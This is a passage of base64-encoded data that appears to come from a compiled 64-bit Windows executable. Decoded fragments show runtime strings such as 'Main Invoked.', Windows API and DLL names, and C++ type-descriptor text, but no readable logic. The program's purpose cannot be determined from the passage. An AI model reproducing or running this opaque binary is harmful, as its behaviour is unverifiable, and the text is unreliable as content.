lrMDBEQUFJUGpaNEFBQUJNaTlFUHRzSkJnK0VQU1lQaThJdklEMWZTd2VFSUM4aG1EMjdCUVl2SjhnOXd5QUJCZzhuL1FkUGhaZzl2d21aQkQzUUNaZy9YeUdZUGNOa0FaZzl2dzJaQkQzUUNaZy9YMEVFajBVRWp5WFV1RDczS1pnOXZ5bVlQYjhOSkE4cUYwa3dQUmNGSmc4SVFaa0VQZEFwbVFROTBBbVlQMThsbUQ5ZlFoY2wwMG92Qjk5Z2p3Zi9JSTlBUHZjcEpBOHFGMGt3UFJjRkppOEJJZzhRWXcvYkJEM1FaUVErK0FUdkNUUTlFd1VHQU9RQjA0MG4vd1VIMndROTE1dysyd21ZUGJzQm1RUTg2WXdGQWN3MU1ZOEZOQThGbVFRODZZd0ZBZEx0Smc4RVE2K0xNek16TXpNek16TXpNWm1ZUEg0UUFBQUFBQUVncjBVbUQrQWh5SXZiQkIzUVVacENLQVRvRUNuVXNTUC9CU2YvSTlzRUhkZTVOaThoSndla0RkUjlOaGNCMEQ0b0JPZ1FLZFF4SS84RkovOGgxOFVnendNTWJ3SVBZLzhPUVNjSHBBblEzU0lzQlNEc0VDblZiU0l0QkNFZzdSQW9JZFV4SWkwRVFTRHRFQ2hCMVBVaUxRUmhJTzBRS0dIVXVTSVBCSUVuL3lYWE5TWVBnSDAyTHlFbkI2UU4wbTBpTEFVZzdCQXAxRzBpRHdRaEovOGwxN2ttRDRBZnJnMGlEd1FoSWc4RUlTSVBCQ0VpTERCRklEOGhJRDhsSU84RWJ3SVBZLzhQTXpNek16TXpNek16TXpNek16TXhtWmc4ZmhBQUFBQUFBLytETXpNek16TXpNek16TXpNek16RUJWU0lQc1FFaUw2a2lMQVlzSWpZSDcvLzgvZy9nQmRqcU5nZi8vLzMrRCtBSjJMNEg1bGdBQXdIUW5nZmtkQUFEQWRCK0IrZjBBQU1CMEY0SDVJQVFBd0hRUGdma0pCQURBZEFlNEFRQUFBT3NDTThCSWc4UkFYY1BNUUZWSWcrd2dTSXZxaWsxQVNJUEVJRjNwbWo3Ky84eEFWVWlEN0NCSWkrcm93enorLzRwTk9FaUR4Q0JkNlg0Ky92L01RRlZJZyt3d1NJdnFTSXNCaXhCSWlVd2tLSWxVSkNCTWpRMnpOLzcvVEl0RmNJdFZhRWlMVFdEbzh6disvNUJJZzhRd1hjUE1RRlZJaStwSWl3RXp5WUU0QlFBQXdBK1V3WXZCWGNQTVFGVklnK3dnU0l2cVNJdE5TRWlMQ1VpRHhDQmQ2UVdRL3YvTVFGVklnK3dnU0l2cVNJdE5hT2p5ai83L2tFaUR4Q0Jkdzh4QVZVaUQ3Q0JJaStxNUNBQUFBRWlEeENCZDZVWjMvLy9NUUZWSWcrd2dTSXZxU0l0Tk1FaUR4Q0JkNmJxUC92L01RRlZJZyt3Z1NJdnFTSU45SUFCMUNraUxUVURvOElQLy81QklpMDFBNkphUC92K1FTSVBFSUYzRHpFQlZTSVBzSUVpTDZraUxBWXNJNkZjKy8vK1FTSVBFSUYzRHpFQlZTSVBzSUVpTDZya0NBQUFBU0lQRUlGM3B6M2IvLzh4QVZVaUQ3Q0JJaStwSWk0V0lBQUFBaXdoSWc4UWdYZW15ZHYvL3pFQlZTSVBzSUVpTDZraUxSVWlMQ0VpRHhDQmQ2WmgyLy8vTVFGVklnK3dnU0l2cXVRZ0FBQUJJZzhRZ1hlbC9kdi8vekVCVlNJUHNJRWlMNmtpTFJVaUxDRWlEeENCZDZmV0cvLy9NUUZWSWcrd2dTSXZxaTAxUVNJUEVJRjNwM29iLy84eEFWVWlEN0NCSWkrcTVCd0FBQUVpRHhDQmQ2VFYyLy8vTVFGVklnK3dnU0l2cXVRVUFBQUJJZzhRZ1hla2Nkdi8vekVCVlNJUHNJRWlMNmpQSlNJUEVJRjNwQm5iLy84eEFWVWlEN0NCSWkrcUF2WUFBQUFBQWRBdTVBd0FBQU9qcGRmLy9rRWlEeENCZHc4eEFWVWlEN0NCSWkrcTVCQUFBQUVpRHhDQmQ2Y2wxLy8vTVFGVklnK3hBU0l2cWczMUFBSFE5ZzMxRUFIUW9TSXVGZ0FBQUFFaGpDRWlMd1VqQitBWklqUldMZ3dNQWcrRS9TTUhoQmtpTEJNS0FaQWc0L2tpTGhZQUFBQUNMQ09nTmh2Ly9rRWlEeEVCZHc4eEFWVWlEN0NCSWkrcElpd0dCT0FVQUFNQjBESUU0SFFBQXdIUUVNOERyQmJnQkFBQUFTSVBFSUYzRHpNek16TXpNek16TXpFQlZTSVBzSUVpTDZraUxBVFBKZ1RnRkFBREFENVRCaThGSWc4UWdYY1BNQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNZU1FjQUFBQUFBSzVKQndBQUFBQUF2RWtIQUFBQUFBRFFTUWNBQUFBQUFPUkpCd0FBQUFBQTlra0hBQUFBQUFBS1NnY0FBQUFBQUI1S0J3QUFBQUFBTWtvSEFBQUFBQUJDU2djQUFBQUFBRlJLQndBQUFBQUFaa29IQUFBQUFBQjJTZ2NBQUFBQUFJcEtCd0FBQUFBQW5rb0hBQUFBQUFDdVNnY0FBQUFBQU1aS0J3QUFBQUFBMmtvSEFBQUFBQUR5U2djQUFBQUFBQVJMQndBQUFBQUFGRXNIQUFBQUFBQWVTd2NBQUFBQUFDcExCd0FBQUFBQU9rc0hBQUFBQUFCV1N3Y0FBQUFBQUd4TEJ3QUFBQUFBaEVzSEFBQUFBQUNlU3djQUFBQUFBTEpMQndBQUFBQUF3a3NIQUFBQUFBRFNTd2NBQUFBQUFPUkxCd0FBQUFBQTlFc0hBQUFBQUFBSVRBY0FBQUFBQUJaTUJ3QUFBQUFBS2t3SEFBQUFBQUJDVEFjQUFBQUFBRkpNQndBQUFBQUFZa3dIQUFBQUFBQjBUQWNBQUFBQUFJUk1Cd0FBQUFBQWxrd0hBQUFBQUFDc1RBY0FBQUFBQU1aTUJ3QUFBQUFBMkV3SEFBQUFBQURvVEFjQUFBQUFBUDVNQndBQUFBQUFFazBIQUFBQUFBQW1UUWNBQUFBQUFFQk5Cd0FBQUFBQVZFMEhBQUFBQUFCcVRRY0FBQUFBQUh4TkJ3QUFBQUFBakUwSEFBQUFBQUNlVFFjQUFBQUFBTHhOQndBQUFBQUEyazBIQUFBQUFBRDJUUWNBQUFBQUFBQk9Cd0FBQUFBQUhFNEhBQUFBQUFBNFRnY0FBQUFBQUVwT0J3QUFBQUFBWGs0SEFBQUFBQUI0VGdjQUFBQUFBSnBPQndBQUFBQUFyazRIQUFBQUFBREVUZ2NBQUFBQUFONU9Cd0FBQUFBQS9rNEhBQUFBQUFBT1R3Y0FBQUFBQUNCUEJ3QUFBQUFBTkU4SEFBQUFBQUJNVHdjQUFBQUFBRjVQQndBQUFBQUFhazhIQUFBQUFBQ2FYUWNBQUFBQUFBQUFBQUFBQUFBQW9FOEhBQUFBQUFDNFR3Y0FBQUFBQU14UEJ3QUFBQUFBOEU4SEFBQUFBQUFVVUFjQUFBQUFBREpRQndBQUFBQUFTRkFIQUFBQUFBQnNVQWNBQUFBQUFJcFFCd0FBQUFBQW5GQUhBQUFBQUFDMFVBY0FBQUFBQU5oUUJ3QUFBQUFBN2xBSEFBQUFBQUQrVUFjQUFBQUFBSXBQQndBQUFBQUFBQUFBQUFBQUFBREdWUWNBQUFBQUFMWlZCd0FBQUFBQW5sVUhBQUFBQUFDRVZRY0FBQUFBQUhKVkJ3QUFBQUFBQUFBQUFBQUFBQURNV1FjQUFBQUFBR2hnQndBQUFBQUFXR0FIQUFBQUFBQktZQWNBQUFBQUFENWdCd0FBQUFBQUxtQUhBQUFBQUFBYVlBY0FBQUFBQUFoZ0J3QUFBQUFBN2w4SEFBQUFBQURVWHdjQUFBQUFBTWhmQndBQUFBQUF2RjhIQUFBQUFBQ3FYd2NBQUFBQUFKaGZCd0FBQUFBQWlGOEhBQUFBQUFCMlh3Y0FBQUFBQUdaZkJ3QUFBQUFBVmw4SEFBQUFBQUJJWHdjQUFBQUFBRDVmQndBQUFBQUFNbDhIQUFBQUFBQW1Yd2NBQUFBQUFCQmZCd0FBQUFBQStsNEhBQUFBQUFEa1hnY0FBQUFBQU5CZUJ3QUFBQUFBd2w0SEFBQUFBQUN3WGdjQUFBQUFBSjVlQndBQUFBQUFobDRIQUFBQUFBQnVYZ2NBQUFBQUFGWmVCd0FBQUFBQVJGNEhBQUFBQUFBNlhnY0FBQUFBQUN4ZUJ3QUFBQUFBSGw0SEFBQUFBQUFTWGdjQUFBQUFBT3BkQndBQUFBQUEwbDBIQUFBQUFBREVYUWNBQUFBQUFLNWRCd0FBQUFBQWNGMEhBQUFBQUFCZVhRY0FBQUFBQUVCZEJ3QUFBQUFBSkYwSEFBQUFBQUFRWFFjQUFBQUFBUHhjQndBQUFBQUE0bHdIQUFBQUFBRE9YQWNBQUFBQUFMaGNCd0FBQUFBQW9sd0hBQUFBQUFDSVhBY0FBQUFBQUhKY0J3QUFBQUFBWGx3SEFBQUFBQUJDWEFjQUFBQUFBQ3BjQndBQUFBQUFERndIQUFBQUFBRDhXd2NBQUFBQUFONWJCd0FBQUFBQXlsc0hBQUFBQUFDOFd3Y0FBQUFBQUtwYkJ3QUFBQUFBbWxzSEFBQUFBQUNBV3djQUFBQUFBR3BiQndBQUFBQUFYbHNIQUFBQUFBQk9Xd2NBQUFBQUFEeGJCd0FBQUFBQUtsc0hBQUFBQUFBWVd3Y0FBQUFBQUlKWUJ3QUFBQUFBa0ZnSEFBQUFBQUNvV0FjQUFBQUFBTFJZQndBQUFBQUF3RmdIQUFBQUFBRE1XQWNBQUFBQUFOcFlCd0FBQUFBQTRsZ0hBQUFBQUFEeVdBY0FBQUFBQUFSWkJ3QUFBQUFBRWxrSEFBQUFBQUFpV1FjQUFBQUFBREpaQndBQUFBQUFTbGtIQUFBQUFBQmVXUWNBQUFBQUFISlpCd0FBQUFBQWhGa0hBQUFBQUFDU1dRY0FBQUFBQUtSWkJ3QUFBQUFBdWxrSEFBQUFBQUI0WUFjQUFBQUFBTnBaQndBQUFBQUE2bGtIQUFBQUFBRDhXUWNBQUFBQUFCQmFCd0FBQUFBQUlsb0hBQUFBQUFBMldnY0FBQUFBQUVaYUJ3QUFBQUFBVmxvSEFBQUFBQUJvV2djQUFBQUFBSHBhQndBQUFBQUFrRm9IQUFBQUFBQ2dXZ2NBQUFBQUFMQmFCd0FBQUFBQXdsb0hBQUFBQUFEU1dnY0FBQUFBQU9oYUJ3QUFBQUFBL2xvSEFBQUFBQUFBQUFBQUFBQUFBS3hSQndBQUFBQUFuRkVIQUFBQUFBQUFBQUFBQUFBQUFOaFJCd0FBQUFBQTVGRUhBQUFBQUFET1VRY0FBQUFBQUFBQUFBQUFBQUFBQkZJSEFBQUFBQUFhVWdjQUFBQUFBRHBTQndBQUFBQUFWbElIQUFBQUFBQnlVZ2NBQUFBQUFJUlNCd0FBQUFBQWxsSUhBQUFBQUFDNFVnY0FBQUFBQUFBQUFBQUFBQUFBTkZRSEFBQUFBQUFXVkFjQUFBQUFBUDVUQndBQUFBQUE4Rk1IQUFBQUFBQVlVd2NBQUFBQUFEUlRCd0FBQUFBQVRsTUhBQUFBQUFET1V3Y0FBQUFBQUxSVEJ3QUFBQUFBcEZNSEFBQUFBQUNTVXdjQUFBQUFBRjVUQndBQUFBQUFiRk1IQUFBQUFBQ0VVd2NBQUFBQUFBQUFBQUFBQUFBQTVGVUhBQUFBQUFBRVZnY0FBQUFBQURwV0J3QUFBQUFBSWxZSEFBQUFBQUFBQUFBQUFBQUFBQnBWQndBQUFBQUFBQUFBQUFBQUFBRFdVZ2NBQUFBQUFPWlNCd0FBQUFBQStsSUhBQUFBQUFBQUFBQUFBQUFBQUxaVUJ3QUFBQUFBbWxRSEFBQUFBQUNFVkFjQUFBQUFBR3BVQndBQUFBQUFWbFFIQUFBQUFBRFdWQWNBQUFBQUFQaFVCd0FBQUFBQUFBQUFBQUFBQUFBOFZRY0FBQUFBQUZKVkJ3QUFBQUFBQUFBQUFBQUFBQUI2VVFjQUFBQUFBR0pSQndBQUFBQUFVRkVIQUFBQUFBQXVVUWNBQUFBQUFFUlJCd0FBQUFBQU9GRUhBQUFBQUFBQUFBQUFBQUFBQUd4V0J3QUFBQUFBZ0ZZSEFBQUFBQUNnVmdjQUFBQUFBTGhXQndBQUFBQUExRllIQUFBQUFBRHNWZ2NBQUFBQUFBUlhCd0FBQUFBQUZGY0hBQUFBQUFBd1Z3Y0FBQUFBQUV4WEJ3QUFBQUFBWUZjSEFBQUFBQUIyVndjQUFBQUFBSXBYQndBQUFBQUFubGNIQUFBQUFBQzRWd2NBQUFBQUFOcFhCd0FBQUFBQTlGY0hBQUFBQUFBVVdBY0FBQUFBQUNaWUJ3QUFBQUFBUEZnSEFBQUFBQUJTV0FjQUFBQUFBR1pZQndBQUFBQUFBQUFBQUFBQUFBRFlhQUtBQVFBQUFGQWtCSUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBd0xNQ2dBRUFBQUJFK3dPQUFRQUFBUEFVQklBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFPeVJBNEFCQUFBQXFBTUVnQUVBQUFEMHRBS0FBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXdjQWVBQVFBQUFBQUFBQUFBQUFBQVRXRnBiaUJKYm5admEyVmtMZ0FBQUUxaGFXNGdVbVYwZFhKdVpXUXVBQUQ0T1FTQUFRQUFBQkE2QklBQkFBQUFVRG9FZ0FFQUFBQ1FPZ1NBQVFBQUFHRUFaQUIyQUdFQWNBQnBBRE1BTWdBQUFBQUFBQUFBQUdFQWNBQnBBQzBBYlFCekFDMEFkd0JwQUc0QUxRQmpBRzhBY2dCbEFDMEFaZ0JwQUdJQVpRQnlBSE1BTFFCc0FERUFMUUF4QUMwQU1RQUFBQUFBQUFCaEFIQUFhUUF0QUcwQWN3QXRBSGNBYVFCdUFDMEFZd0J2QUhJQVpRQXRBSE1BZVFCdUFHTUFhQUF0QUd3QU1RQXRBRElBTFFBd0FBQUFBQUFBQUFBQWF3QmxBSElBYmdCbEFHd0FNd0F5QUFBQUFBQUFBQUFBUlhabGJuUlNaV2RwYzNSbGNnQUFBQUFBQUFBQUFBQUFSWFpsYm5SVFpYUkpibVp2Y20xaGRHbHZiZ0FBQUFBQVJYWmxiblJWYm5KbFoybHpkR1Z5QUFBQUFBQUFBQUFBUlhabGJuUlhjbWwwWlZSeVlXNXpabVZ5QUFBQUFBQUFBUUFBQUFNQUFBQkdiSE5CYkd4dll3QUFBQUFBQUFBQUFRQUFBQU1BQUFCR2JITkdjbVZsQUFFQUFBQURBQUFBUm14elIyVjBWbUZzZFdVQUFBQUFBQUVBQUFBREFBQUFSbXh6VTJWMFZtRnNkV1VBQUFBQUFBSUFBQUFEQUFBQVNXNXBkR2xoYkdsNlpVTnlhWFJwWTJGc1UyVmpkR2x2YmtWNEFENDlBQUFzQUFBQUtDa0FBSDRBQUFCZUFBQUFmQUFBQUNZbUFBQjhmQUFBS2owQUFDczlBQUF0UFFBQUx6MEFBQ1U5QUFBK1BqMEFQRHc5QUNZOUFBQjhQUUFBWGowQUFBQUFBQUJnZG1aMFlXSnNaU2NBQUFBQUFBQUFZSFppZEdGaWJHVW5BQUFBQUFBQUFHQjJZMkZzYkNjQVlIUjVjR1Z2WmljQUFBQUFBQUFBQUdCc2IyTmhiQ0J6ZEdGMGFXTWdaM1ZoY21RbkFBQUFBR0J6ZEhKcGJtY25BQUFBQUFBQUFBQmdkbUpoYzJVZ1pHVnpkSEoxWTNSdmNpY0FBQUFBQUFCZ2RtVmpkRzl5SUdSbGJHVjBhVzVuSUdSbGMzUnlkV04wYjNJbkFBQUFBR0JrWldaaGRXeDBJR052Ym5OMGNuVmpkRzl5SUdOc2IzTjFjbVVuQUFBQVlITmpZV3hoY2lCa1pXeGxkR2x1WnlCa1pYTjBjblZqZEc5eUp3QUFBQUJnZG1WamRHOXlJR052Ym5OMGNuVmpkRzl5SUdsMFpYSmhkRzl5SndBQUFHQjJaV04wYjNJZ1pHVnpkSEoxWTNSdmNpQnBkR1Z5WVhSdmNpY0FBQUFBWUhabFkzUnZjaUIyWW1GelpTQmpiMjV6ZEhKMVkzUnZjaUJwZEdWeVlYUnZjaWNBQUFBQUFHQjJhWEowZFdGc0lHUnBjM0JzWVdObGJXVnVkQ0J0WVhBbkFBQUFBQUFBWUdWb0lIWmxZM1J2Y2lCamIyNXpkSEoxWTNSdmNpQnBkR1Z5WVhSdmNpY0FBQUFBQUFBQUFHQmxhQ0IyWldOMGIzSWdaR1Z6ZEhKMVkzUnZjaUJwZEdWeVlYUnZjaWNBWUdWb0lIWmxZM1J2Y2lCMlltRnpaU0JqYjI1emRISjFZM1J2Y2lCcGRHVnlZWFJ2Y2ljQUFHQmpiM0I1SUdOdmJuTjBjblZqZEc5eUlHTnNiM04xY21VbkFBQUFBQUFBWUhWa2RDQnlaWFIxY201cGJtY25BR0JGU0FCZ1VsUlVTUUFBQUFBQUFBQmdiRzlqWVd3Z2RtWjBZV0pzWlNjQVlHeHZZMkZzSUhabWRHRmliR1VnWTI5dWMzUnlkV04wYjNJZ1kyeHZjM1Z5WlNjQUlHNWxkMXRkQUFBQUFBQUFJR1JsYkdWMFpWdGRBQUFBQUFBQUFHQnZiVzVwSUdOaGJHeHphV2NuQUFCZ2NHeGhZMlZ0Wlc1MElHUmxiR1YwWlNCamJHOXpkWEpsSndBQUFBQUFBR0J3YkdGalpXMWxiblFnWkdWc1pYUmxXMTBnWTJ4dmMzVnlaU2NBQUFBQVlHMWhibUZuWldRZ2RtVmpkRzl5SUdOdmJuTjBjblZqZEc5eUlHbDBaWEpoZEc5eUp3QUFBR0J0WVc1aFoyVmtJSFpsWTNSdmNpQmtaWE4wY25WamRHOXlJR2wwWlhKaGRHOXlKd0FBQUFCZ1pXZ2dkbVZqZEc5eUlHTnZjSGtnWTI5dWMzUnlkV04wYjNJZ2FYUmxjbUYwYjNJbkFBQUFZR1ZvSUhabFkzUnZjaUIyWW1GelpTQmpiM0I1SUdOdmJuTjBjblZqZEc5eUlHbDBaWEpoZEc5eUp3QUFBQUFBWUdSNWJtRnRhV01nYVc1cGRHbGhiR2w2WlhJZ1ptOXlJQ2NBQUFBQUFBQmdaSGx1WVcxcFl5QmhkR1Y0YVhRZ1pHVnpkSEoxWTNSdmNpQm1iM0lnSndBQUFBQUFBQUFBWUhabFkzUnZjaUJqYjNCNUlHTnZibk4wY25WamRHOXlJR2wwWlhKaGRHOXlKd0FBQUFBQUFHQjJaV04wYjNJZ2RtSmhjMlVnWTI5d2VTQmpiMjV6ZEhKMVkzUnZjaUJwZEdWeVlYUnZjaWNBQUFBQUFBQUFBR0J0WVc1aFoyVmtJSFpsWTNSdmNpQmpiM0I1SUdOdmJuTjBjblZqZEc5eUlHbDBaWEpoZEc5eUp3QUFBQUFBQUdCc2IyTmhiQ0J6ZEdGMGFXTWdkR2h5WldGa0lHZDFZWEprSndBQUFBQUFiM0JsY21GMGIzSWdJaUlnQUFBQUFBQUFBQUFBQUFBQVdFTUVnQUVBQUFCd1F3U0FBUUFBQUpCREJJQUJBQUFBcUVNRWdBRUFBQURJUXdTQUFRQUFBQUFBQUFBQUFBQUE2RU1FZ0FFQUFBRDRRd1NBQVFBQUFBQkVCSUFCQUFBQUVFUUVnQUVBQUFBZ1JBU0FBUUFBQURCRUJJQUJBQUFBUUVRRWdBRUFBQUJRUkFTQUFRQUFBRnhFQklBQkFBQUFhRVFFZ0FFQUFBQndSQVNBQVFBQUFJQkVCSUFCQUFBQWtFUUVnQUVBQUFDd09RU0FBUUFBQUp4RUJJQUJBQUFBcUVRRWdBRUFBQUN3UkFTQUFRQUFBTFJFQklBQkFBQUF1RVFFZ0FFQUFBQzhSQVNBQVFBQUFNQkVCSUFCQUFBQXhFUUVnQUVBQUFESVJBU0FBUUFBQU5CRUJJQUJBQUFBM0VRRWdBRUFBQURnUkFTQUFRQUFBT1JFQklBQkFBQUE2RVFFZ0FFQUFBRHNSQVNBQVFBQUFQQkVCSUFCQUFBQTlFUUVnQUVBQUFENFJBU0FBUUFBQVB4RUJJQUJBQUFBQUVVRWdBRUFBQUFFUlFTQUFRQUFBQWhGQklBQkFBQUFERVVFZ0FFQUFBQ0VPd1NBQVFBQUFJZzdCSUFCQUFBQWpEc0VnQUVBQUFDUU93U0FBUUFBQUpRN0JJQUJBQUFBbURzRWdBRUFBQUNjT3dTQUFRQUFBS0E3QklBQkFBQUFwRHNFZ0FFQUFBQ29Pd1NBQVFBQUFLdzdCSUFCQUFBQXNEc0VnQUVBQUFDME93U0FBUUFBQUxnN0JJQUJBQUFBdkRzRWdBRUFBQURBT3dTQUFRQUFBTVE3QklBQkFBQUF5RHNFZ0FFQUFBRFFPd1NBQVFBQUFPQTdCSUFCQUFBQThEc0VnQUVBQUFENE93U0FBUUFBQUFnOEJJQUJBQUFBSUR3RWdBRUFBQUF3UEFTQUFRQUFBRWc4QklBQkFBQUFhRHdFZ0FFQUFBQ0lQQVNBQVFBQUFLZzhCSUFCQUFBQXlEd0VnQUVBQUFEb1BBU0FBUUFBQUJBOUJJQUJBQUFBTUQwRWdBRUFBQUJZUFFTQUFRQUFBSGc5QklBQkFBQUFvRDBFZ0FFQUFBREFQUVNBQVFBQUFOQTlCSUFCQUFBQTFEMEVnQUVBQUFEZ1BRU0FBUUFBQVBBOUJJQUJBQUFBRkQ0RWdBRUFBQUFnUGdTQUFRQUFBREErQklBQkFBQUFRRDRFZ0FFQUFBQmdQZ1NBQVFBQUFJQStCSUFCQUFBQXFENEVnQUVBQUFEUVBnU0FBUUFBQVBnK0JJQUJBQUFBS0Q4RWdBRUFBQUJJUHdTQUFRQUFBSEEvQklBQkFBQUFtRDhFZ0FFQUFBRElQd1NBQVFBQUFQZy9CSUFCQUFBQUdFQUVnQUVBQUFDd09RU0FBUUFBQUNCVWVYQmxJRVJsYzJOeWFYQjBiM0luQUFBQUFBQUFBQ0JDWVhObElFTnNZWE56SUVSbGMyTnlhWEIwYjNJZ1lYUWdLQUFBQUFBQUlFSmhjMlVnUTJ4aGMzTWdRWEp5WVhrbkFBQUFBQUFBSUVOc1lYTnpJRWhwWlhKaGNtTm9lU0JFWlhOamNtbHdkRzl5SndBQUFBQWdRMjl0Y0d4bGRHVWdUMkpxWldOMElFeHZZMkYwYjNJbkFBQUFBQUFBQUY5ZlltRnpaV1FvQUFBQUFBQUFBQUJmWDJOa1pXTnNBRjlmY0dGelkyRnNBQUFBQUFBQUFBQmZYM04wWkdOaGJHd0FBQUFBQUFBQVgxOTBhR2x6WTJGc2JBQUFBQUFBQUY5ZlptRnpkR05oYkd3QUFBQUFBQUJmWDNabFkzUnZjbU5oYkd3QUFBQUFYMTlqYkhKallXeHNBQUFBWDE5bFlXSnBBQUFBQUFBQVgxOXdkSEkyTkFCZlgzSmxjM1J5YVdOMEFBQUFBQUFBWDE5MWJtRnNhV2R1WldRQUFBQUFBSEpsYzNSeWFXTjBLQUFBQUNCdVpYY0FBQUFBQUFBQUFDQmtaV3hsZEdVQVBRQUFBRDQrQUFBOFBBQUFJUUFBQUQwOUFBQWhQUUFBVzEwQUFBQUFBQUJ2Y0dWeVlYUnZjZ0FBQUFBdFBnQUFLZ0FBQUNzckFBQXRMUUFBTFFBQUFDc0FBQUFtQUFBQUxUNHFBQzhBQUFBbEFBQUFQQUFBQUR3OUFBQStBQUFBQmdBQUJnQUJBQUFRQUFNR0FBWUNFQVJGUlVVRkJRVUZCVFV3QUZBQUFBQUFLQ0E0VUZnSENBQTNNREJYVUFjQUFDQWdDQWNBQUFBSVlHaGdZR0JnQUFCNGNIaDRlSGdJQndnSEFBY0FDQWdJQUFBSUJ3Z0FCd2dBQndBQUFBQUFCb0NBaG9DQmdBQUFFQU9HZ0lhQ2dCUUZCVVZGUllXRmhRVUFBREF3Z0ZDQWlBQUlBQ2duT0ZCWGdBQUhBRGN3TUZCUWlBY0FBQ0FvZ0lpQWdBQUFBR0JvWUdob2FBZ0lCM2gzY0hkd2NBZ0lBQUFJQndnQUJ3Z0FCd0FvYm5Wc2JDa0FBQUFBQUFBQUFBQUFBQUFBQUFEa0MxUUNBQUFBQUFBUVl5MWV4MnNGQUFBQUFBQUFRT3J0ZEViUW5DeWZEQUFBQUFCaDlibXJ2NlJjdy9FcFl4MEFBQUFBQUdTMS9UUUZ4TktIWnBMNUZUdHNSQUFBQUFBQUFCRFprR1dVTEVKaTF3RkZJcG9YSmlkUG53QUFBRUFDbFFmQmlWWWtIS2Y2eFdkdHlIUGNiYTNyY2dFQUFBQUF3YzVrSjZKanloaWs3eVY3MGMxdzc5OXJIejdxblY4REFBQUFBQURrYnY3RHpXb012R1l5SHprdUF3SkZXaVg0MG5GV1NzTEQyZ2NBQUJDUExxZ0lRN0txZkJvaGprRE9pdk1MenNTRUp3dnJmTU9VSmExSkVnQUFBRUFhM2RwVW44eS9ZVm5jcTZ0Y3h3eEVCZlZuRnJ6UlVxKzMreW1OajJDVUtnQUFBQUFBSVF5S3V4ZWtqcTlXcVo5SEJqYXlTMTNnWDl5QUNxcis4RURaanFqUWdCcHJJMk1BQUdRNFRES1d4MWVEMVVKSzVHRWlxZGs5RUR5OWN2UGxrWFFWV2NBTnBoM3NiTmtxRU5QbUFBQUFFSVVlVzJGUGJta3FleGdjNGxBRUt6VGRMKzRuVUdPWmNjbW1GdWxLamlndUNCZHZia2thYmhrQ0FBQUFRREltUUswRVVISWUrZFhSbENtN3pWdG1saTQ3b3R0OSttV3NVOTUzbTZJZ3NGUDV2OGFySlpSTFRlTUVBSUV0dy92MDBDSlNVQ2dQdC9QeUUxY1RGRUxjZlYwNTFwa1pXZmdjT0pJQTFoU3pocmwzcFhwaC9yY1NhbUVMQUFEa0VSMk5aOE5XSUIrVU9vczJDWnNJYVhDOXZtVjJJT3ZFSnB1ZDZHY1ZiZ2tWblN2eU1uRVRVVWkrenFMbFJWSi9HZ0FBQUJDN2VKVDNBc0IwRzR3QVhmQ3dkY2JicVJTNTJlTGZjZzlsVEVzb2R4Ymc5bTNDa1VOUno4bVZKMVdyNHRZbjVxaWNwckU5QUFBQUFFQkswT3owOElnamY4VnRDbGh2Qkw5RHcxMHQrRWdJRWU0Y1dhRDZLUEQwelQrbExobWdjZGE4aDBScGZRRnUrUkNkVmhwNWRhU1BBQURoc3JrOGRZaUNreFkveldzNnRJbmVoNTRJUmtWTmFBeW0yLzJSa3lUZkUreG9NQ2RFdEpudVFZRzJ3OG9DV1BGUmFObWlKWFo5alhGT0FRQUFaUHZtZzFyeUQ2MVhsQkcxZ0FCbXRTa2d6OUxGMTMxdFA2VWNUYmZOM25DZDJqMUJGcmRPeXRCeG1CUGsxNUE2UUUvaVA2djViM2ROSnVhdkNnTUFBQUFRTVZXckNkSllES2JMSm1GV2g0TWNhc0gwaDNWMjZFUXN6MGVnUVo0RkNNaytCcnFnNk1qUDUxWEErdUd5UkFIdnNINGdKSE1sY3RHQitiamtyZ1VWQjBCaU8zcFBYYVRPTTBIaVQyMXREeUh5TTFibFZoUEJKWmZYNnlpRTY1YlRkenRKSHE0dEgwY2dPSzJXMGM3Nml0dk4zazZHd0doVm9WMXBzb2s4RWlSeFJYMFFBQUJCSENkS0YyNVhybUxzcW9raTc5MzdvcmJrNytFWDhyMW1NNENJdERjK0xMaS9rZDZzR1FoazlOUk9hdjgxRG1wV1p4UzUyMERLT3lwNGFKc3lhOW5Gci9XOGFXUW1BQUFBNVBSZmdQdXYwVlh0cUNCS20vaFhsNnNLL3E0QmU2WXNTbW1Wdng0cEhNVEhxdExWMkhiSE50RU1WZHFUa0ozSG1xakxTeVVZZHZBTkNZaW85M1FRSHpyOEVVamxyWTVqV1JEbnk1Zm9hZGNtUG5Ma3RJYXFrRnNpT1RPY2RRZDZTNUhwUnkxMytXNmE1MEFMRnNUNGtnd1E4Ri95RVd6REpVS0wrY21ka1F0enIzei9CWVV0UTdCcGRTc3RMSVJYcGhEdkg5QUFRSHJINVdLNDZHcUkyQkRsbU0zSXhWV0pFRlcyV2REVXZ2dFlNWUs0QXhsRlRBTTV5VTBackFERkgrTEFUSG1oZ01rNzBTMng2ZmdpYlY2YWlUaDcyQmw1em5KMnhuaWZ1ZVY1VGdPVTVBRUFBQUFBQUFDaDZkUmNiRzk5NUp2bjJUdjVvVzlpZDFFMGk4Ym9XU3ZlV040OHoxai9SaUlWZkZlb1dYWG5KbE5uZHhkanQrYnJYd3I5NDJrNTZETTFvQVdvaDdreDlrTVBIeUhiUTFyWWx2VWJxNklaUDJnRUFBQUFaUDU5dmk4RXlVdXc3ZlhoMms2aGozUGJDZVNjN2s5bkRaOFZxZGExdGZZT2xqaHprY0pKNjh5WEsxK1ZQemdQOXJPUklCUTNlTkhmUXRIQjNpSStGVmZmcjRwZjVmVjNpOHJubzF0U0x3TTlUK2RDQ2dBQUFBQVEzZlJTQ1VWZDRVSzByaTQwczZOdm84MC9ibm9vdFBkM3dVdlF5TkpuNFBpb3JtYzd5YTJ6VnNoc0M1MmRsUURCU0ZzOWlyNUs5RGJaVWszbzIzSEZJUno1Q1lGRlNtcllxdGQ4VE9FSW5LV2JkUUNJUE9RWEFBQUFBQUJBa3RRUThRUytjbVFZRE1FMmgvdXJlQlFwcjFIOE9aZnJKUlV3SzB3TERnT2hPenorS0xyOGlIZFlRNTY0cE9ROWM4THlSbnlZWW5TUER5RV